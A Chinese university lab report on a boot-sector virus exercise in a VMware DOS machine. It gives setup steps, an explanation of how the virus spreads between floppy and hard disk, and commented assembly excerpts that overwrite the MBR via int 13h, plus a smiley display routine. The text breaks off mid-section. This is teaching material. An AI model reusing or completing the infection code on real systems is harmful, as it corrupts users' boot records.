东华大学计算机病毒实验一引导型病毒实验报告

合集下载
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。

实验一引导型病毒实验

1. 实验目的

通过实验,了解引导区病毒的感染对象和感染特征,重点学习引导病毒的感染机制和恢复感染染毒文件的方法,提高汇编语言的使用能力。

2. 实验内容

本实验需要完成的内容如下:

引导阶段病毒由软盘感染硬盘实验。通过触发病毒,观察病毒发作的现象和步骤,学习病毒的感染机制;阅读和分析病毒的代码。

DOS运行时病毒由硬盘感染软盘的实现。通过触发病毒,观察病毒发作的现象和步骤,学习病毒的感染机制;阅读和分析病毒的代码。

3. 实验环境

VMWare Workstation 5.5.3

MS-DOS 7.10

4. 实验步骤与结果

第一步:

1、打开VMware Workstation,新建虚拟机,过程如下:

然后点next,点NEXT, 硬盘大小可自行分配,大概1G左右就ok,一直到完成为止。

第二步:

1.安装MYDOS

2.启动虚拟机电源,自动从虚拟软驱进入安装过程,一路点NEXT,AGREE到为虚拟机系统生成一块fat32的硬盘区,点击,然后reboot。

3.再次进入安装引导过程,一路点NEXT,AGREE到重写MBR 选yes,而后选择安装目录C:\dos71目录。在选择DOS commands only安装。并取消DOS add-on 的安装复选项。然后一路点NEXT,AGREE。

选择enable umb memory

在下一个页面里选择load both cd/dvd 和IDE/ATAPI

第三步:步骤如课本实验一

1.运行虚拟机,检查目前虚拟硬盘是否含有病毒。2.将virus.img加入软驱,运行虚拟机:

3、删除虚拟软盘,通过硬盘引导

按任意键进入DOS系统

4、通过命令format A:/q 快速格式化软盘。

5、软驱中加入empty.img引导。如下:

5. 病毒代码分析

i. 传染模块主要代码及传染过程说明;

inc cx ;cx此时为1,为2

mov ds:[si+offset reg_cx],cx

mov ax, 0301h ;写入一个扇区

mov dx, 0080h ;写入硬盘1的0面

int 13h ;开始写入

jb boot_dos ;不成功转到boot_dos

mov cl, 21h ;准备搬移33个字

mov di, 01beh ;从内存高端的03beh搬移到

mov si, 03beh ;内存高端的01beh,此处正是病毒程序的驻留区rep movsw ;开始搬移

mov ax, 0301h ;准备向硬盘写入一个扇区

xor bx, bx

inc cx ;cx置1

int 13h ;写入物理硬盘0面0道1扇区

call near ptr install ;安装病毒的int 13h

mov dx, 0080h ;读硬盘0head

int 13h ;开始读取//*** 读取正常的引导扇区,以备安装病毒的int 13h 后正常启动

call near ptr install

传染过程说明:

先判断机器从哪里启动,如是从硬盘启动,直接安装病毒到int 13h,通过int 13h 感染软盘。读取软盘0面0道1扇区到病毒常驻段偏移地址为0200h,读取成功转read_succ处理,否则软驱复位。读取操作次数减1,不为0再次读取,否则退出。读取成功后,以vir_init处一个字的机器码为特征码进行比较,判断软盘是否已经染毒,如果未染毒,则进行传染。若已染毒,则退出。

若是从软盘启动,需传染硬盘。将读到的正常引导记录保存道0道2扇,写入一个扇区,再写入硬盘1的0面,写入不成功转到boot_dos,判断是否已被传染。写入成功则准备替换引导扇区,保留硬盘分区表,准备搬移33个字,从内存高端的03beh搬移到内存高端的01beh,搬移后将cx置1,写入物理硬盘0面0道1扇区。

ii. 表现模块的主要代码及现象说明;

waitstart:

loop waitstart

call clearstr //显示空字符串,抹去刚画的笑脸符

mov ax,0100h

int 16h

jz nextloop

ret

;调用10h中断将字符串打印到屏幕上

dispstr:

mov ax, cs

mov es, ax

mov ax, offset bootmessage

mov bp, ax ; es:bp = 串地址

mov cx, 5 ; cx = 串长度

mov ax, 01301h ; ah = 13, al = 01h

mov bx, 000ch ; 页号为0(bh = 0) 黑底红字(bl = 0ch,高亮)

mov dh, 5

mov dl, col

int 10h ; 10h 号中断

ret

;用空格清除上一次的输入

clearstr:

mov ax, cs

mov es, ax

mov ax, offset clearmessage

mov bp, ax

mov cx, 5

mov ax, 01301h

mov bx, 000ch

mov dh, 5

mov dl, col

int 10h

ret

现象:黑屏幕上笑脸符自左自右反复显示,有动态效果。

iii.说明该病毒触发传染的条件;

病毒会将正常的引导记录存在:硬盘,0面0道2扇区。取出的地址如果不

相关文档
最新文档